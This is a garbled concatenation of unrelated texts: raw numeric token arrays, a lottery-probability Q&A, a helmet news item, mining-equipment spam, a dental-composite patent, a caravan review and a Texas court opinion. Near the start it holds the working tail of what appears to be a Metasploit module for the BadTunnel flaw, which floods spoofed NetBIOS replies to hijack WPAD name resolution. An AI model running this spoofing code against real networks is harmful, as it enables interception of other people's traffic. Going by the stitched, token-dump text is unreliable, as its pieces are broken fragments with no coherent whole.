28477, 187, 50268, 3845, 64, 3775, 1587, 4756, 27, 17661, 2197, 441, 271, 9276, 4548, 2245, 440, 21943, 494, 13, 2245, 310, 2779, 4581, 2807, 187, 50268, 22621, 426, 3221, 187, 50268, 7054, 187, 50270, 423, 187, 50272, 423, 187, 50274, 423, 187, 50276, 423, 535, 50276, 1545, 1408, 187, 50274, 14075, 551, 2036, 67, 3783, 64, 10613, 748, 187, 50276, 423, 187, 423, 187, 50, 27, 187, 187, 4967, 310, 627, 760, 337, 1039, 281, 2619, 577, 24321, 326, 3761, 32, 187, 187, 1552, 1953, 310, 432, 23840, 434, 5201, 6713, 8684, 40554, 818, 394, 11166, 27, 187, 688, 247, 36284, 13, 3773, 3330, 247, 1781, 17767, 672, 597, 2619, 1740, 24321, 326, 3761, 13, 275, 253, 3451, 1340, 13, 1740, 24321, 4236, 407, 247, 3632, 8651, 1232, 15, 329, 4577, 17767, 310, 1912, 604, 760, 1264, 24321, 403, 13373, 15, 1737, 310, 253, 5912, 326, 247, 4760, 14896, 253, 1781, 17767, 32, 1737, 310, 253, 5912, 326, 247, 4760, 14896, 253, 1355, 17767, 32, 187, 510, 3662, 1677, 310, 27, 209, 187, 2512, 310, 760, 581, 1039, 281, 5206, 512, 1740, 24321, 9113, 15, 2896, 253, 1885, 4086, 13, 627, 403, 884, 577, 426, 884, 13, 933, 4088, 281, 5206, 1740, 24321, 15, 7757, 13, 253, 5912, 326, 247, 4760, 14896, 253, 1781, 17767, 310, 337, 16, 740, 13, 933, 426, 470, 15, 5831, 15, 187, 3220, 4468, 310, 13, 2139, 310, 627, 760, 581, 1039, 281, 5206, 253, 577, 24321, 9113, 32, 14482, 79, 626, 627, 320, 884, 1290, 487, 77, 6973, 323, 672, 512, 253, 24321, 3761, 32, 34919, 13, 337, 10768, 13, 374, 18895, 13, 3346, 1157, 898, 16742, 15, 1893, 476, 11853, 5513, 436, 281, 479, 32, 309, 1158, 309, 1537, 452, 3731, 1088, 390, 46485, 690, 1841, 1051, 6701, 275, 7170, 2, 187, 187, 34, 27, 187, 187, 2302, 13, 436, 310, 247, 36284, 15, 380, 9880, 1180, 310, 370, 1857, 2251, 5, 323, 1650, 15, 1244, 253, 760, 1039, 281, 2619, 326, 1180, 310, 27, 370, 1857, 2251, 1352, 209, 187, 2042, 253, 9880, 1180, 310, 370, 13721, 1366, 840, 8871, 370, 1418, 5, 310, 417, 8871, 253, 9880, 1180, 15, 187, 1394, 403, 417, 11038, 253, 3904, 342, 3746, 13, 368, 1472, 11038, 731, 342, 253, 9880, 1180, 15, 535, 2042, 368, 1379, 634, 5694, 67, 2804, 28742, 10369, 2217, 281, 971, 247, 7060, 9851, 14, 484, 3148, 275, 634, 26358, 13, 368, 476, 1024, 513, 1633, 670, 352, 15, 8229, 26095, 556, 816, 10098, 247, 6207, 4989, 1504, 272, 4544, 323, 697, 10469, 14, 19823, 1481, 47398, 13, 1024, 4907, 253, 6647, 14, 18, 28, 499, 3938, 1066, 370, 18, 13, 32960, 285, 368, 943, 320, 581, 273, 253, 806, 281, 755, 253, 8251, 494, 672, 352, 11811, 275, 2552, 4104, 15, 2064, 434, 1097, 247, 2257, 273, 2583, 285, 247, 1048, 673, 281, 3343, 13, 533, 8229, 26095, 310, 34601, 326, 368, 1833, 751, 253, 941, 368, 755, 1223, 327, 253, 3971, 15, 1284, 12316, 13, 253, 26358, 6493, 15034, 13, 247, 10581, 6568, 1859, 285, 15150, 8692, 327, 634, 1649, 263, 15, 28922, 13896, 1339, 368, 1978, 247, 17628, 327, 253, 6016, 33396, 13, 285, 21679, 25015, 4850, 253, 1481, 463, 274, 3909, 15, 380, 4376, 4566, 598, 281, 370, 18, 13, 37972, 604, 368, 3343, 1919, 8027, 281, 1056, 247, 7471, 13, 594, 368, 778, 971, 281, 4514, 2393, 604, 368, 1472, 3413, 281, 35919, 634, 767, 14, 18432, 17371, 27420, 15, 22526, 1608, 4584, 48525, 7284, 28553, 21307, 964, 353, 5824, 44102, 40061, 964, 187, 187, 2347, 1057, 247, 7284, 308, 409, 18683, 7733, 32, 20233, 44102, 40061, 16790, 187, 187, 34, 5328, 246, 409, 18683, 310, 247, 5313, 273, 15067, 6500, 326, 310, 3240, 4633, 285, 310, 908, 964, 3808, 4067, 14841, 6244, 452, 18234, 4396, 23677, 873, 598, 3587, 689, 253, 8511, 3803, 672, 253, 964, 1707, 403, 1027, 11809, 285, 8322, 273, 1824, 24825, 908, 13, 533, 253, 12553, 15, 18, 15, 7327, 273, 253, 14723, 187, 510, 3688, 7033, 281, 247, 15641, 273, 247, 14450, 45894, 4187, 6804, 11893, 273, 45614, 19, 342, 387, 1878, 581, 2007, 5148, 11893, 275, 247, 4315, 31553, 13, 281, 247, 16138, 8212, 342, 253, 15641, 347, 247, 20379, 285, 4044, 494, 407, 37374, 253, 15641, 13, 285, 281, 253, 897, 273, 253, 15641, 273, 253, 3688, 347, 247, 20379, 323, 16138, 38471, 15, 380, 3688, 2007, 7033, 281, 247, 1332, 323, 13828, 824, 247, 15641, 15, 187, 19, 15, 11451, 273, 15073, 3975, 187, 37, 3950, 38471, 403, 8212, 4753, 11616, 247, 33973, 8708, 3408, 13, 275, 1798, 247, 14159, 4315, 13, 285, 7522, 398, 4753, 13, 342, 13027, 30770, 6353, 1146, 908, 347, 247, 38669, 2144, 15, 329, 15641, 273, 38669, 4753, 275, 247, 31553, 310, 908, 347, 247, 20379, 323, 824, 247, 16138, 8212, 15, 380, 20379, 310, 2530, 275, 5558, 390, 15596, 830, 13, 891, 15, 70, 15, 253, 38669, 6353, 403, 11217, 715, 247, 5558, 8708, 3408, 15, 380, 5558, 8708, 3408, 3797, 36401, 534, 778, 320, 13657, 715, 253, 14159, 4315, 407, 26915, 15, 380, 3969, 16138, 8212, 310, 4447, 407, 37374, 253, 15641, 13, 891, 15, 70, 15, 407, 26915, 273, 253, 36401, 15, 380, 3520, 3607, 273, 253, 16138, 8212, 403, 8558, 3413, 407, 253, 1511, 285, 8394, 273, 30770, 38669, 4753, 285, 253, 5281, 13, 1979, 13, 285, 1979 ]	[ [ 'Service' ] ], 'PassiveActions' => [ 'Service' ], 'DefaultAction' => 'Service', 'References' => [ ['URL', 'http://xlab.tencent.com/en/2016/06/17/BadTunnel-A-New-Hope/'], ['CVE', '2016-3213'], ['MSB', 'MS16-063'], ['CVE', '2016-3236'], ['MSB', 'MS16-077'] ], 'DisclosureDate' => 'Jun 14 2016' ) register_options( [ OptAddress.new('SRVHOST', [ true, "The local host to listen on.", '0.0.0.0' ]), OptPort.new('SRVPORT', [ true, "The local port to listen on.", 137 ]), OptString.new('NBNAME', [ true, "The NetBIOS name to spoof a reply for", 'WPAD' ]), OptAddress.new('NBADDR', [ true, "The address that the NetBIOS name should resolve to", Rex::Socket.source_address("50.50.50.50") ]), OptInt.new('PPSRATE', [ true, "The rate at which to send NetBIOS replies", 1_000]) ]) end def netbios_service @port = datastore['SRVPORT'].to_i # MacOS X workaround ::Socket.do_not_reverse_lookup = true @sock = ::UDPSocket.new() @sock.setsockopt(::Socket::SOL_SOCKET, ::Socket::SO_REUSEADDR, 1) @sock.bind(datastore['SRVHOST'], @port) @targ_rate = datastore['PPSRATE'] @fake_name = datastore['NBNAME'] @fake_addr = datastore['NBADDR'] print_status("Listening for NetBIOS requests...") begin loop do packet, addr = @sock.recvfrom(65535) next if packet.length == 0 @targ_addr = addr[3] @targ_port = addr[1] break end # TODO: Seed our counter based on the TXID of this request print_status("Received a NetBIOS request from #{@targ_addr}:#{@targ_port}") @sock.connect(@targ_addr, @targ_port) netbios_spam rescue ::Interrupt raise $! rescue ::Exception => e print_error("Error #{e.class} #{e} #{e.backtrace}") ensure @sock.close if @sock end end def netbios_spam payload = "\xff\xff" + # TX ID (will brute force this) "\x85\x00" + # Flags = response + authoratative + recursion desired "\x00\x00" + # Questions = 0 "\x00\x01" + # Answer RRs = 1 "\x00\x00" + # Authority RRs = 0 "\x00\x00" + # Additional RRs = 0 "\x20" + Rex::Proto::SMB::Utils.nbname_encode( [@fake_name.upcase].pack("A15") + "\x00" ) + "\x00" + "\x00\x20" + # Type = NB "\x00\x01" + # Class = IN "\x00\x04\x93\xe0" + # TTL long time "\x00\x06" + # Datalength = 6 "\x00\x00" + # Flags B-node, unique Rex::Socket.addr_aton(@fake_addr) stime = Time.now.to_f pcnt = 0 pps = 0 print_status("Spamming NetBIOS responses for #{@fake_name}/#{@fake_addr} to #{@targ_addr}:#{@targ_port} at #{@targ_rate}/pps...") live = true while live 0.upto(65535) do \|txid\| begin payload[0,2] = [txid].pack("n") @sock.write(payload) pcnt += 1 pps = (pcnt / (Time.now.to_f - stime)).to_i if pps > @targ_rate sleep(0.01) end rescue Errno::ECONNREFUSED print_error("Error: Target sent us an ICMP port unreachable, port is likely closed") live = false break end end end end def run loop { netbios_service } end end Q: Why is there only 1 way to pick 4 digits that match? This question is from Rosen's Discrete Math textbook 7th edition: In a lottery, players win a large prize when they pick four digits that match, in the correct order, four digits selected by a random mechanical process. A smaller prize is won if only three digits are matched. What is the probability that a player wins the large prize? What is the probability that a player wins the small prize? The answer given is: There is only one way to choose all four digits correctly. By the product rule, there are 10 4 = 10,000 ways to choose four digits. Hence, the probability that a player wins the large prize is 1/10,000 = 0.0001. My concern is, why is there only one way to choose the 4 digits correctly? Shouldn't there be 10 possibl outcomes for when all the digits match? 0000, 1111, 2222,..., 9999. So can somebody explain this to me? I think I might have misread or misunderstood some things... thanks in advance! A: No, this is a lottery. The winning number is $4567$ for example. And the only way to pick that number is: $4567$. If the winning number is $1111$, then picking $0000$ is not picking the winning number. You are not matching the numbers with themselves, you're matching them with the winning number. If you take your motorbike rides seriously enough to want a smart heads-up display in your helmet, you can now do something about it. Skully has just launched a crowdfunding campaign for its Android-powered head protector, now named the AR-1; plunk down $1,399 and you should be one of the first to get the wearable when it ships in May 2015. That's both a lot of money and a long time to wait, but Skully is betting that you'll like the data you get while on the road. As promised, the helmet projects navigation, a rear camera view and riding info on your visor. Voice commands let you keep a grip on the handlebars, and smartphone pairing gets the headgear online. The price goes up to $1,499 if you wait until launch to make a purchase, so you may want to commit early if you're determined to augment your two-wheeled adventures.Gold Shaker Plants Gold Wash Plant. MSI Mining Equipment. How does a Gold Trommel Work? Basic Mining Equipment Building A gold trommel is a piece of mining equipment that is quite popular and is used. Some larger wash plants have grizzlies set up directly over the hopper when the. There are different designs and amounts of water jets used, but the ultimate.1. Field of the Invention The invention relates to a dispersion of a nanoparticulate mixed oxide of SiO2 with at least one further metal oxide in a matrix monomer, to a dental composite with the dispersion as a precursor and obtainable by curing the dispersion, and to the use of the dispersion of the invention as a precursor for dental composites. The invention further relates to a method for preparing such a dispersion. 2. Description of Related Art Dental composites are composite materials comprising a polymeric organic phase, in particular a resin matrix, and fillers materials, with preferably inorganic particles being used as a filler material. A dispersion of filler materials in a monomer is used as a precursor for such a dental composite. The precursor is provided in liquid or paste form, i.e. the filler particles are incorporated into a liquid organic phase. The liquid organic phase includes monomers which may be transformed into the resin matrix by polymerization. The corresponding dental composite is formed by curing the dispersion, i.e. by polymerization of the monomers. The physical properties of the dental composite are primarily determined by the type and proportion of inorganic filler materials and the shape, size, and size
[ 2596, 1355, 5833, 27, 253, 4283, 5024, 273, 253, 745, 2189, 23361, 457, 84, 3369, 20845, 281, 3057, 253, 2133, 273, 253, 3889, 13, 2403, 352, 19328, 281, 14518, 253, 23361, 4336, 562, 15, 187, 187, 3404, 253, 2963, 249, 555, 990, 13, 1219, 14, 40849, 457, 84, 4942, 747, 495, 15, 22, 14, 1299, 570, 14, 14092, 745, 7704, 8789, 556, 644, 14662, 13, 285, 309, 10490, 253, 958, 253, 3812, 2009, 14, 35758, 13341, 369, 14662, 3304, 253, 39271, 29418, 13, 835, 352, 457, 84, 6885, 13, 2581, 685, 253, 3345, 15, 380, 760, 2523, 309, 574, 342, 288, 31054, 285, 20209, 31054, 27, 253, 480, 13464, 9530, 457, 84, 6016, 20845, 281, 8980, 327, 253, 3889, 457, 84, 1133, 4946, 413, 10856, 1108, 247, 1355, 2523, 326, 1904, 457, 85, 5010, 1607, 13616, 1841, 13, 4457, 13673, 272, 11134, 22014, 15, 187, 187, 2512, 457, 84, 2568, 625, 5718, 3212, 253, 2451, 254, 3789, 3817, 13, 1223, 767, 18345, 17727, 403, 10877, 281, 253, 10581, 273, 253, 3889, 13, 2112, 342, 480, 9587, 476, 26160, 2057, 1930, 26493, 562, 273, 2451, 254, 3789, 281, 3761, 253, 10581, 270, 24512, 15, 187, 187, 4717, 281, 512, 436, 7145, 16463, 8965, 13, 247, 2120, 14, 3985, 4533, 14, 483, 3768, 920, 13, 247, 4564, 273, 17999, 13, 247, 7975, 14, 3487, 38769, 2829, 13, 247, 10151, 1249, 55, 1127, 13, 285, 368, 457, 306, 973, 285, 7777, 1694, 253, 47657, 723, 273, 247, 973, 14, 24286, 14, 483, 1113, 18444, 15, 309, 1904, 457, 85, 2564, 253, 5448, 44013, 263, 13, 2057, 15, 187, 187, 9507, 38, 8160, 2949, 187, 187, 2512, 403, 4314, 50107, 275, 253, 367, 4237, 2491, 13, 342, 2133, 9552, 432, 608, 15, 22, 78, 281, 721, 15, 26, 78, 15, 3824, 12806, 3386, 247, 3579, 3722, 13, 247, 425, 1032, 504, 8576, 13, 285, 745, 2189, 13223, 5464, 342, 1195, 14, 8089, 2829, 13, 285, 247, 10581, 15336, 15, 187, 187, 510, 12806, 275, 776, 3889, 2506, 457, 85, 2740, 747, 3216, 28, 2299, 13, 767, 2120, 14, 7436, 5500, 19184, 13, 581, 2057, 1930, 273, 253, 3889, 13, 823, 247, 3282, 273, 9712, 875, 253, 3811, 19902, 285, 253, 14098, 15, 187, 187, 510, 17216, 5704, 310, 949, 14, 45296, 264, 281, 253, 10699, 285, 8099, 13, 616, 8350, 40350, 8655, 407, 3081, 47645, 39926, 285, 18505, 15, 187, 187, 510, 8576, 556, 247, 1740, 14, 14814, 254, 330, 482, 68, 4417, 3956, 285, 642, 28938, 273, 5718, 4610, 13, 432, 1781, 3812, 398, 281, 18332, 5569, 398, 281, 5500, 19184, 2708, 253, 16338, 285, 650, 6626, 15, 187, 187, 3378, 697, 19538, 14, 3281, 3722, 13, 1930, 43530, 642, 24560, 313, 14382, 342, 247, 1249, 55, 285, 16918, 55, 1127, 10, 285, 18332, 5569, 398, 13, 253, 14098, 310, 3240, 2629, 28, 2299, 13, 309, 14109, 253, 958, 3094, 7838, 556, 14662, 2802, 8701, 285, 22502, 457, 3812, 398, 281, 253, 762, 3026, 5718, 2317, 15, 1422, 476, 1335, 8488, 253, 34489, 281, 2289, 253, 19978, 13, 1018, 1063, 13, 3966, 904, 533, 323, 1388, 14, 936, 14, 1201, 4957, 13, 816, 14518, 1527, 247, 31579, 15, 18770, 6927, 15, 187, 187, 510, 15336, 41358, 253, 2120, 4871, 273, 253, 3889, 15, 733, 3797, 271, 745, 2189, 31392, 21487, 13, 247, 425, 1032, 504, 16846, 12966, 2024, 13, 285, 247, 48424, 275, 875, 15, 13771, 685, 247, 34865, 264, 16486, 281, 2289, 253, 762, 14, 31591, 17392, 5145, 13, 3094, 7838, 2639, 580, 507, 556, 14662, 30451, 13, 6941, 253, 10955, 2593, 1840, 253, 5145, 281, 14518, 562, 15, 831, 2097, 368, 1053, 457, 85, 452, 281, 2590, 253, 10955, 816, 281, 755, 281, 253, 369, 379, 15, 187, 187, 510, 330, 482, 68, 8164, 3511, 1824, 2579, 310, 3817, 264, 745, 1735, 281, 253, 21487, 13, 2299, 13, 352, 2506, 457, 85, 1607, 13616, 1791, 2316, 15, 187, 187, 510, 3402, 23694, 253, 15336, 432, 253, 2022, 17216, 310, 247, 581, 14, 14705, 5713, 1747, 14407, 14, 4818, 9207, 90, 9457, 8212, 5370, 4229, 281, 253, 5254, 285, 10699, 13, 247, 2216, 5118, 281, 2572, 253, 4583, 40350, 273, 253, 3889, 15, 187, 187, 22641, 13, 253, 10755, 310, 7060, 13, 38194, 285, 9848, 15, 41547, 273, 5956, 27, 1016, 13223, 5464, 36591, 3386, 247, 14518, 14, 483, 2802, 1206, 333, 457, 281, 534, 247, 11038, 36100, 476, 320, 14662, 323, 271, 8164, 3174, 1120, 15, 380, 17301, 342, 436, 2216, 13, 689, 285, 1840, 253, 1846, 2802, 38705, 14, 484, 457, 3174, 1120, 84, 13, 310, 326, 627, 457, 84, 2317, 2708, 253, 14518, 14, 483, 323, 247, 31579, 15, 187, 187, 40, 1372, 55, 457, 52, 46833, 11364, 1647, 187, 187, 2447, 77, 12670, 13, 253, 3094, 7838, 2639, 580, 507, 367, 4237, 721, 1237, 12192, 253, 11498, 2810, 281, 3435, 361, 5840, 13, 594, 352, 457, 84, 642, 28441, 15, 1723, 13, 762, 12413, 352, 44944, 3139, 327, 2710, 25061, 3510, 13, 432, 17657, 2372, 30090, 281, 33791, 6561, 13939, 15, 733, 457, 84, 14662, 347, 2629, 342, 1219, 14, 40849, 49817, 1108, 247, 1652, 4465, 6330, 273, 2564, 15, 187, 187, 8430, 359, 281, 7184, 253, 3889, 342, 776, 32639, 14, 57, 13, 368, 457, 620, 878, 247, 5536, 14, 37163, 577, 18576, 281, 1056, 2120, 897, 273, 436, 3889, 457, 84, 24098, 5350, 1108, 1158, 8481, 50009, 13, 399, 14, 9684, 13, 3966, 15, 187, 187, 688, 697, 4376, 7140, 13, 352, 457, 84, 598, 1411, 690, 13827, 7324, 13, 533, 253, 367, 4237, 23188, 22828, 247, 1175, 13, 1892, 1007, 15, 831, 310, 407, 642, 2097, 247, 1408, 14, 1171, 14, 783, 14, 17993, 1113, 18444, 15, 187, 187, 6826, 36031, 310, 253, 2586, 434, 24654, 28977, 4958, 3420, 1387, 15, 14311, 407, 6976, 434, 954, 7407, 23049, 2600, 18014, 285, 3420, 27371, 13, 3617, 36031, 310, 253, 1682, 12095, 323, 24542, 5216, 273, 747, 1113, 580, 507, 13, 5694, 73, 6819, 285, 4049, 468, 47958, 13, 342, 3386, 327, 8644, 36467, 31684, 285, 12192, 285, 7535, 281, 1056, 634, 1735, 7408, 634, 1682, 581, 2568, 15, 187, 20360, 322, 15, 56, 15, 20, 69, 8676, 313, 8602, 10, 187, 28895, 11436, 16246, 611, 5607, 48047, 13, 9517, 13, 187, 87, 15, 187, 510, 26090, 273, 6112, 13, 2418, 15, 187, 2302, 15, 374, 14, 3071, 14, 27706, 14, 1311, 15, 187, 18336, 273, 9892, 273, 6112, 13, 10188, 32354, 15, 187, 22423, 1283, 13, 5215, 15, 187, 1785, 31629, 6061, 83, 8263, 4162, 608, 13, 5215, 15, 187, 11, 3439, 16358, 330, 15, 18668, 1528, 570, 13, 411, 469, 5741, 3928, 5259, 42943, 434, 7454, 13, 411, 469, 5741, 24618, 13, 323, 9517, 15, 187, 7912, 610, 418, 15, 20310, 66, 13, 4412, 26712, 904, 411, 469, 5741, 24618, 13, 323, 22706, 15, 187, 16284, 378, 27, 418, 3252, 2637, 1267, 1139, 13, 411, 31545, 947, 13, 285, 3044, 5915, 58, 13, 25544, 15, 187, 1785, 31629, 3035, 378, 1377, 6061, 83, 8263, 4162, 608, 13, 5215, 15, 187, 187, 2795, 26995, 187, 52, 6028, 411, 31545, 947, 13, 8293, 15, 187, 187, 42, 15, 39507, 187, 688, 436, 4549, 13, 9517, 11128, 11436, 16246, 611, 1796, 13107, 16540, 247, 2014, 1127, 11132, 253, 2332, 1302, 434, 13336, 273, 521, 3200, 281, 10476, 15, 611, 1796, 13107, 12148, 326, 6251, 8, 7501, 1417, 5857, 715, 271, 440, 32980, 3889, 326, 369, 24805, 275, 253, 35664, 275, 2914, 273, 521, 12913, 13588, 253, 16650, 10737, 285, 14108, 309, 13, 5238, 898, 273, 253, 6112, 10350, 15, 4923, 275, 436, 1083, 247, 3513, 5908, 2540, 247, 4198, 1351, 11100, 326, 574, 247, 787, 37043, 14, 11707, 1262, 311, 7843, 2822, 697, 11059, 275, 8342, 1859, 275, 253, 896, 273, 247, 3889, 347, 344, 475, 2417, 7428, 1066, 253, 35664, 285, 407, 253, 3889, 327, 521, 1039, 281, 253, 2914, 3369, 273, 253, 12913, 281, 2589, 247, 346, 48459, 285, 2312, 3, 285, 984, 253, 5908, 4745, 6566, 253, 4198, 1351, 11100, 369, 2330, 342, 253, 6424, 2425, 13, 253, 8342, 1859, 12791, 10384, 15, 10022, 13, 359, 588, 10418, 253, 2332, 1302, 434, 13336, 273, 611, 1796, 13107, 434, 3200, 281, 10476, 15, 187, 187, 2267, 15, 10601, 1647, 31440, 4889, 25717, 1703, 48160, 388, 6905, 15258, 187, 34, 19610, 5866, 275, 247, 16252, 2170, 275, 411, 469, 5741, 3928, 15, 743, 46366, 4208, 281, 253, 19610, 2183, 17085, 342, 253, 411, 469, 5741, 3928, 22565, 434, 4487, 326, 703, 3047, 253, 13282, 42727, 32645, 281, 253, 896, 3369, 273, 1283, 883, 22671, 19051, 12555, 44, 1796, 13107, 434, 1728, 12555, 285, 1996, 3553, 326, 12913, 275, 247, 3889, 15, 329, 1643, 1897, 1996, 13, 19897, 4200, 555, 3366, 636, 12668, 281, 611, 1796, 13107, 434, 12913, 281, 2589, 247, 956, 14, 484, 4572, 342, 253, 8811, 273, 326, 2419, 8664, 253, 19610, 15, 19897, 3366, 636, 2540, 253, 3786, 2529, 3889, 24805, 275, 253, 35664, 275, 2914, 273, 253, 2419, 285, 1925, 253, 1421, 25881, 13, 28150, 36532, 34694, 13, 281, 2525, 779, 387, 611, 1796, 13107, 434, 2419, 15, 1284, 19897, 3366, 636, 7428, 598, 253, 35664, 2584, 253, 12913, 434, 2914, 3369, 13, 344, 7428, 407, 253, 3889, 285, 43517, 3304, 352, 28, 344, 2540, 247, 4198, 1351, 11996, 10776, 275, 253, 896, 273, 253, 3889, 285, 787, 37043, 14, 11707, 1262, 311, 7843, 390, 30613, 369, 7985, 1475, 253, 7623, 273, 253, 11996, 15, 19897, 3366, 636, 6566, 253, 1262, 311, 7843, 390, 30613, 1475, 253, 7623, 273, 253, 11996, 390, 11100, 281, 320, 271, 14011, 326, 253, 11996, 390, 11100, 6221, 44927, 528, 35212, 13, 908, 275, 253, 6833, 273, 42588, 15, 19897, 3366, 636, 1925, 253, 2854, 4836, 3490, 281, 7409, 253, 1896, 44927, 528, 35212, 275, 253, 3889, 15, 187, 56, 469, 5741, 24618, 9651, 12743, 2516, 14474, 356, 968, 13, 247, 3558, 273, 253, 3729, 6112, 16686, 17526, 10627, 13, 10974, 281, 19897, 3366, 636, 434, 1067, 281, 611, 1796, 13107, 434, 1728, 15, 12743, 14474, 356, 968, 3047, 253, 3889, 24805, 275, 253, 35664, 13, 3261, 3304, 253, 3889, 13, 2540, 253, 4198, 1351, 11100, 12555, 783, 1511, 908, 323, 271, 17603, 3678, 32257, 12555, 395, 2540, 253, 1262, 311, 7843, 327, 253, 11100, 434, 11059, 15, 754, 6566, 326, 253, 1262, 311, 7843, 4860, 326, 253, 4198, 1351, 11100, 574, 644, 908, 281, 4657, 44927, 528, 35212, 28, 344, 3260, 326, 247, 3678, 32257, 4198, 1351, 11100, 310, 417, 271, 7012, 8781, 281, 4459, 44927, 528, 35212, 285, 326, 44927, 528, 35212, 310, 12845, 275, 253, 6833, 273, 42588, 15, 187, 21756, 254, 14474, 356, 968, 17571, 253, 11100, 13, 5762, 253, 10359, 275, 253, 11100, 13, 285, 3413, 326, 352, 369, 44927, 528, 35212, 15, 4923, 253, 4198, 1351, 11100, 369, 417, 271, 14047, 8781, 323, 34991, 44927, 528, 35212, 13, 12743, 14474, 356, 968, 9833, 611, 1796, 13107, 15, 380, 4936, 4984, 38455, 611, 1796, 13107, 323, 10023, 273, 44927, 528, 35212, 342, 6860, 281, 18725, 2920, 6833, 247, 6537, 10359, 13, 10775, 13, 42588, 15, 187, 44, 1796, 13107, 4724, 247, 3200, 281, 10476, 253, 1941, 17571, 432, 253, 3889, 15, 2732, 247, 4854, 13, 253, 2332, 1302, 5868, 611, 1796, 13107, 434, 3200, 13, 285, 611, 1796, 13107, 9674, 5966, 715, 247, 12678, 27871, 4345, 15, 754, 23383, 8106, 275, 6431, 323, 271, 4345, 326, 253, 14079, 651, 5583, 5093, 1107, 8, 25422, 275, 253, 6112, 4487, 273, 20526, 8293, 32576, 9333, 285, 326, 253, 2332, 1302, 651, 5306, 1419, 521, 987, 281, 4549, 253, 14523, 10362, 15, 831, 4549, 3560, 15, 187, 187, 8296, 15, 12838, 33044, 6725, 20756, 4889, 6725, 18769, 10860, 187, 688, 521, 7934, 1127, 13, 611, 1796, 13107, 8219, 326, 253, 3186, 273, 253, 3889, 285, 253, 21935, 273, 253, 11100, 285, 697, 9410, 13588, 253, 16650, 10737, 273, 253, 1986, 2077, 10350, 285, 14108, 309, 13, 5238, 898, 273, 253, 6112, 10350, 15, 13658, 13, 611, 1796, 13107, 20765, 326, 253, 8342, 1859, 6517, 281, 253, 7501, 8284, 1057, 417, 4647, 1060, 984, 352, 369, 417, 4745, 5165, 281, 6251, 326, 253, 4198, 1351, 11100, 6221, 44927, 528, 35212, 285, 984, 253, 6251, 475, 3208, 858, 417, 452, 247, 29889, 987, 281, 4901, 253, 35664, 390, 253, 3889, 15, 187, 34, 15, 12144, 273, 8439, 187, 1231, 2278, 247, 2332, 1302, 434, 10362, 327, 247 ]	One small complaint: the leading edge of the offside tray’s door tended to contact the body of the van, making it awkward to slide the tray completely out. At the pointy end, Al-Ko’s relatively new 3.5-tonne-rated offroad coupling has been fitted, and I liked the fact the drawbar-mounted tap was fitted inside the chassis rails, where it’s protected, rather than the outside. The only issue I had with hitching and unhitching: the jockey wheel’s handle tended to bind on the van’s handbrake cable – a small issue that didn’t otherwise impede things, beyond sparking mild frustration. There’s yet more storage behind the checkerplate box, while two spare wheels are mounted to the rear of the van, along with jerry can holders either side fabricated out of checkerplate to match the rear bumper. Add to all this corner brush bars, a full-length roll-out awning, a couple of speakers, a fold-down picnic table, a nearby 12V point, and you’ve well and truly got the makings of a well-thought-out caravan. I didn’t mind the wind deflector, either. COME ON IN There are eight layouts in the PEX range, with body sizes from 5.5m to 6.9m. Our layout features a forward bed, a nearside kitchen, and offside dinette with tri-fold table, and a rear bathroom. The layout in our van doesn’t break new ground; however, two full-height cupboards, one either side of the van, add a sense of separation between the living quarters and the bedroom. The cabinetry is through-bolted to the roof and walls, their structural rigidity enhanced by additional aluminium framing and fixing. The kitchen has a four-burner Camec cooktop and no shortage of storage options, from large drawers to overhead lockers to cupboards below the sink and griller. With its queen-size bed, side wardrobe nooks (each with a 12V and 240V point) and overhead lockers, the bedroom is quite standard; however, I appreciated the fact Coromal has fitted ‘his and hers’ drawers to the underbed storage space. You can still lift the mattress to access the batteries, charger, etc., but for day-to-day items, just slide open a drawer. Much easier. The bathroom occupies the full width of the van. It includes an offside cassette toilet, a nearside shower cubicle, and a vanity in between. Rather than a hinged lid to access the under-bench washing machine, Coromal Caravans has fitted runners, allowing the bench section above the machine to slide out. This means you don’t have to clear the bench just to get to the washer. The Camec instant hot water service is boxed off next to the toilet, however, it doesn’t impede leg room. The wall separating the bathroom from the main cabin is a one-piece fibreglass-polystyrene composite panel fixed to the floor and roof, a design calculated to increase the overall rigidity of the van. Overall, the interior is smart, stylish and comfortable. Speaking of comfort: each dinette lounge features a slide-out ‘tray’ to which a matching cushion can be fitted for an instant footrest. The bonus with this design, over and above the common ‘snap-up’ footrests, is that there’s space below the slide-out for a drawer. GORV’S VERDICT Unladen, the Coromal Caravans PEX 632 tips the scales close to 2700kg, so it’s no lightweight. However, under tow it behaved itself on various terrain types, from highway bitumen to gravel secondary roads. It’s fitted as standard with Al-Ko ESC – a little extra peace of mind. Although we towed the van with our MU-X, you’ll need a heavy-duty 4WD to make full use of this van’s payload capacity – think Grand Cherokee, D-Max, etc. In its price category, it’s up against some stiff competition, but the PEX nonetheless deserves a good, hard look. This is by no means a run-of-the-mill caravan. GoRV is the country's premier recreational vehicle media group. Run by Australia's most experienced RV content producers and media specialists, GoRV is the best destination for credible tests of new caravans, motorhomes and camper trailers, with features on amazing touring destinations and tips and advice to make your next trip your best one yet. 223 S.W.3d 53 (2007) Darrell Jay KEEHN, Appellant, v. The STATE of Texas, State. No. 2-06-047-CR. Court of Appeals of Texas, Fort Worth. January 18, 2007. Rehearing Overruled April 5, 2007. 54 Anthony C. Odiorne, Wichita County Public Defender's Office, Wichita Falls, for Appellant. Barry L. Macha, District Atty., Wichita Falls, for Appellee. Panel B: LIVINGSTON, WALKER, and McCOY, JJ. Rehearing En Banc Overruled April 5, 2007. OPINION SUE WALKER, Justice. I. INTRODUCTION In this appeal, Appellant Darrell Jay Keehn raises a single point challenging the trial court's denial of his motion to suppress. Keehn contends that officers' warrantless entry into an unoccupied van that was parked in the driveway in front of his residence violated the Fourth Amendment and Article I, Section 9 of the Texas Constitution. Because in this case a police officer observed a propane tank that had a bluish-green discoloration near its valve in plain view in the back of a van as he 55 walked down the driveway and by the van on his way to the front door of the residence to conduct a "knock and talk" and because the officer immediately believed the propane tank was associated with the criminal activity, the plain view doctrine applies. Accordingly, we will affirm the trial court's denial of Keehn's motion to suppress. II. FACTUAL AND PROCEDURAL HISTORY A theft occurred in a residential area in Wichita County. An eyewitness to the theft told investigators with the Wichita County Sheriff's Department that she saw the suspected thieves flee to the back door of 1811 Cameron LaneKeehn's home and later leave that residence in a van. A few days later, Deputy Monty Deford drove to Keehn's residence to conduct a follow-up interview with the residents of that house concerning the theft. Deputy Deford observed the previously described van parked in the driveway in front of the house and called the lead investigator, Sergeant Randy Elliott, to meet him at Keehn's house. As Deputy Deford walked up the driveway toward the residence's front door, he walked by the van and peered inside it; he observed a propane bottle lying in the back of the van and bluish-green discoloration or corrosion was visible around the neck of the bottle. 